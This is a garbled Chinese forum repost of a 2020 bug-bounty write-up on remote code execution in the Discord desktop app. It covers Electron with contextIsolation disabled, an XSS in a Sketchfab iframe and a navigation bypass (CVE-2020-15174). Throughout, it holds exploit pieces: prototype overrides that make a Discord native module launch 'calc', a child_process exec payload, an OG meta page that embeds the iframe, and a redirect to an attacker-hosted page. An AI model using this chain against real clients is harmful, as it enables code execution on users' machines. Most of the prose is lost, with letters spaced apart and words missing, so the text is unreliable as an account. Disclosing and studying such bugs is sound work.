[2216] 2020-12-01_Discord桌面应用程序RCE

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-16
2020-12-01_Discord桌面应用程序RCE D i s c o r d R C E   k i n u g a w a m a s a t o   E D I   2 0 2 0 - 1 2 - 0 1 0 1 0 1 D i s c o r d B u g   B o u n t y   P r o g r a m R C E D i s c o r d E l e c t r o n E l e c t r o n D i s c o r d D i s c o r d 使 0 2 0 2 b u g b u g 使 R C E 1 .   2 .   i f r a m e X S S 3 .   N a v i g a t i o n   r e s t r i c t i o n   b y p a s s C V E - 2 0 2 0 - 1 5 1 7 4 1 .   E l e c t r o n B r o w s e r W i n d o w   A P I J a v a S c r i p t R C E D i s c o r d E l e c t r o n E l e c t r o n J a v a S c r i p t a s a r 使   n o d e I n t e g r a t i o n c o n t e x t I s o l a t i o n D i s c o r d c o n s t   m a i n W i n d o w O p t i o n s   =   {     t i t l e   : D " i s c o r d     b a c k g r o u n d C o l o r g e t B a c k g r o u n d C o l o r     w i d t h D E F A U L T _ W I D T H     h e i g h t D E F A U L T _ H E I G H T     m i n W i d t h M I N _ W I D T H     m i n H e i g h t M I N _ H E I G H T t r a n s p a r e n t : f a l s e     f r a m e f a l s e     r e s i z a b l e t r u e     s h o w i s V i s i b l e     w e b P r e f e r e n c e s   {         b l i n k F e a t u r e s ' E n u m e r a t e D e v i c e s A u d i o O u t p u t D e v i c e s '         n o d e I n t e g r a t i o n f a l s e         p r e l o a d _ p a t h 2 . d e f a u l t . j o i n _ _   d i r n a m e ' m a i n S c r e e n P r e l o a d . j s '         n a t i v e W i n d o w O p e n t r u e         e n a b l e R e m o t e M o d u l e f a l s e         s p e l l c h e c k t r u e     } } ;
n o d e I n t e g r a t i o n f a l s e c o n t e x t I s o l a t i o n f a l s e 使 n o d e I n t e g r a t i o n t r u e J a v a S c r i p t 使 N o d e . j s r e q u i r e ( ) W i n d o w s c a l c n o d e I n t e g r a t i o n f a l s e r e q u i r e ( ) 使 N o d e . j s 访 N o d e . j s c o n t e x t I s o l a t i o n f a l s e R C E f a l s e c o n t e x t I s o l a t i o n J a v a S c r i p t E l e c t r o n J a v a S c r i p t J a v a S c r i p t J a v a S c r i p t A r r a y . p r o t o t y p e . j o i n 使 J a v a S c r i p t     J a v a S c r i p t J a v a S c r i p t 使 j o i n E l e c t r o n w e b J a v a S c r i p t 使 n o d e . j s n o d e I n t e g r a t i o n w e b 使 n o d e I n t e g r a t i o n f a l s e 便 C u r e 5 3 2 0 1 6 E l e c t r o n c o n t e x t I s o l a t i o n P e n t e s t C u r e C o n 使 c o n t e x t I s o l a t i o n J a v a S c r i p t 使 J a v a S c r i p t R C E D i s c o r d c o n t e x t I s o l a t i o n J a v a S c r i p t E l e c t r o n R C E P o C 使 E l e c t r o n J a v a S c r i p t R C E E l e c t r o n E l e c t r o n J a v a S c r i p t R C E 使 E l e c t r o n R C E P o C 使 E l e c t r o n B r o w s e r W i n d o w 访 E l e c t r o n P o C D i s c o r d 使 R C E c h i l d _ p r o c e s s J a v a S c r i p t R C E P o C g e t G P U D r i v e r V e r s i o n s < s c r i p t >     r e q u i r e ' c h i l d _ p r o c e s s ' e x e c ' c a l c ' ; < /   s c r i p t > h t t p s : / / d r i v e . g o o g l e . c o m / f i l e / d / 1 L S s D 9 g z O e j m Q 2 Q i p R e y M X w r _ M 0 M g 1 G M H / v i e w D i s c o r d N a t i v e . n a t i v e M o d u l e s . r e q u i r e M o d u l e ( ' M O D U L E - N A M E ' ) d i s c o r d _ u t i l s d e v T o o l s R e g E x p . p r o t o t y p e . t e s t A r r a y . p r o t o t y p e . j o i n R e g E x p . p r o t o t y p e . t e s t   =   f u n c t i o n {       r e t u r n   f a l s e ;
g e t G P U D r i v e r V e r s i o n s 使   e x e c a   e x e c a   n v i d i a - s m i . e x e   n v i d i a S m i P a t h R e g E x p . p r o t o t y p e . t e s t A r r a y . p r o t o t y p e . j o i n e x e c a   c a l c     J a v a S c r i p t R C E 2 . i f r a m e X S S R C E J a v a S c r i p t X S S M a r k d o w n i f r a m e i f r a m e Y o u T u b e   U R L O G P U R L O G P D i s c o r d O G P U R L U R L U R L U R L U R L i f r a m e i f r a m e C S P f r a m e - s r c 使 C S P } A r r a y . p r o t o t y p e . j o i n   =   f u n c t i o n {         r e t u r n   c a l c ; } D i s c o r d N a t i v e . n a t i v e M o d u l e s . r e q u i r e M o d u l e ' d i s c o r d _ u t i l s ' . g e t G P U D r i v e r V e r s i o n s ; m o d u l e . e x p o r t s . g e t G P U D r i v e r V e r s i o n s   =   a s y n c   ( )   = >   {     i f   ( p r o c e s s . p l a t f o r m   ! = =   ' w i n 3 2 ' )   {         r e t u r n   { } ;     }     c o n s t   r e s u l t   =   { } ;     c o n s t   n v i d i a S m i P a t h   =   ` $ { p r o c e s s . e n v [ ' P r o g r a m W 6 4 3 2 ' ] } / N V I D I A   C o r p o r a t i o n / N V S M I / n v i d i a - s m i . e x e ` ;     t r y   {         r e s u l t . n v i d i a   =   p a r s e N v i d i a S m i O u t p u t ( a w a i t   e x e c a ( n v i d i a S m i P a t h ,   [ ] ) ) ;     }   c a t c h   ( e )   {         r e s u l t . n v i d i a   =   { e r r o r :   e . t o S t r i n g ( ) } ;     }     r e t u r n   r e s u l t ; } ; h t t p s : / / g i t h u b . c o m / m o x y s t u d i o / n o d e - c r o s s - s p a w n / b l o b / 1 6 f e b 5 3 4 e 8 1 8 6 6 8 5 9 4 f d 5 3 0 b 1 1 3 a 0 2 8 c 0 c 0 6 b d d c / l i b / p a r s e . j s # L 3 6 h t t p s : / / g i t h u b . c o m / m o x y s t u d i o / n o d e - c r o s s - s p a w n / b l o b / 1 6 f e b 5 3 4 e 8 1 8 6 6 8 5 9 4 f d 5 3 0 b 1 1 3 a 0 2 8 c 0 c 0 6 b d d c / l i b / p a r s e . j s # L 5 5 C o n t e n t - S e c u r i t y - P o l i c y :   [ . . . ]   ;   f r a m e - s r c   h t t p s : / / * . y o u t u b e . c o m   h t t p s : / / * . t w i t c h . t v   h t t p s : / / o p e n . s p o t i f y . c o m   h t t p s : / / w . s o u n d c l o u d . c o m   h t t p s : / / s k e t c h f a b . c o m   h t t p s : / / p l a y e r . v i m e o . c o m   h t t p s : / / w w w . f u n i m a t i o n . c o m   h t t p s : / / t w i t t e r . c o m   h t t p s : / / w w w . g o o g l e . c o m / r e c a p t c h a /   h t t p s : / / r e c a p t c h a . n e t / r e c a p t c h a /  
i f r a m e Y o u T u b e T w i t c h S p o t i f y O G P U R L i f r a m e X S S   C   + + s k e t c h f a b . c o m i f r a m e X S S S k e t c h f a b 3 D 3 D D O M X S S O G P P o C U R L S k e t c h f a b i f r a m e i f r a m e J a v a S c r i p t X S S J a v a S c r i p t i f r a m e E l e c t r o n J a v a S c r i p t i f r a m e 使 i f r a m e J a v a S c r i p t N o d e . j s R C E 退 i f r a m e J a v a S c r i p t i f r a m e i f r a m e U R L 使   n e w - w i n d o w     w i l l - n a v i g a t e   3 . N a v i g a t i o n   r e s t r i c t i o n   b y p a s s C V E - 2 0 2 0 - 1 5 1 7 4 i f r a m e   w i l l - n a v i g a t e   p r e v e n t D e f a u l t ( ) E l e c t r o n i f r a m e w i l l - n a v i g a t e   i f r a m e E l e c t r o n E l e c t r o n h t t p s : / / j s . s t r i p e . c o m   h t t p s : / / a s s e t s . b r a i n t r e e g a t e w a y . c o m   h t t p s : / / c h e c k o u t . p a y p a l . c o m h t t p s : / / * . w a t c h a n i m e a t t h e o f f i c e . c o m h t t p s : / / l 0 . c m / d i s c o r d _ r c e _ o g . h t m l < h e a d >         < m e t a   c h a r s e t = " u t f - 8 " >         < m e t a   p r o p e r t y = " o g : t i t l e "   c o n t e n t = " R C E   D E M O " >         [ . . . ]         < m e t a   p r o p e r t y = " o g : v i d e o : u r l "   c o n t e n t = " h t t p s : / / s k e t c h f a b . c o m / m o d e l s / 2 b 1 9 8 2 0 9 4 6 6 d 4 3 3 2 8 1 6 9 d 2 d 1 4 a 4 3 9 2 b b / e m b e d " >         < m e t a   p r o p e r t y = " o g : v i d e o : t y p e "   c o n t e n t = " t e x t / h t m l " >         < m e t a   p r o p e r t y = " o g : v i d e o : w i d t h "   c o n t e n t = " 1 2 8 0 " >         < m e t a   p r o p e r t y = " o g : v i d e o : h e i g h t "   c o n t e n t = " 7 2 0 " > < / h e a d > m a i n W i n d o w . w e b C o n t e n t s . o n ( ' n e w - w i n d o w ' ,   ( e ,   w i n d o w U R L ,   f r a m e N a m e ,   d i s p o s i t i o n ,   o p t i o n s )   = >   {     e . p r e v e n t D e f a u l t ( ) ;     i f   ( f r a m e N a m e . s t a r t s W i t h ( D I S C O R D _ N A M E S P A C E )   & &   w i n d o w U R L . s t a r t s W i t h ( W E B A P P _ E N D P O I N T ) )   {         p o p o u t W i n d o w s . o p e n O r F o c u s W i n d o w ( e ,   w i n d o w U R L ,   f r a m e N a m e ,   o p t i o n s ) ;     }   e l s e   {         _ e l e c t r o n . s h e l l . o p e n E x t e r n a l ( w i n d o w U R L ) ;     } } ) ; [ . . . ] m a i n W i n d o w . w e b C o n t e n t s . o n ( ' w i l l - n a v i g a t e ' ,   ( e v t ,   u r l )   = >   {     i f   ( ! i n s i d e A u t h F l o w   & &   ! u r l . s t a r t s W i t h ( W E B A P P _ E N D P O I N T ) )   {         e v t . p r e v e n t D e f a u l t ( ) ;     } } ) ;
使 i f r a m e X S S R C E R C E 0 3 0 3 D i s c o r d B u g D i s c o r d S k e t c h f a b i f r a m e i f r a m e   c o n t e x t I s o l a t i o n 使 J a v a S c r i p t R C E J a v a S c r i p t 5 , 0 0 0 S k e t c h f a b X S S S k e t c h f a b B u g S k e t c h f a b 3 0 0   w i l l - n a v i g a t e   E l e c t r o n C V E - 2 0 2 0 - 1 5 1 7 4 E D I t o p . l o c a t i o n = " / / l 0 . c m / d i s c o r d _ c a l c . h t m l "
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则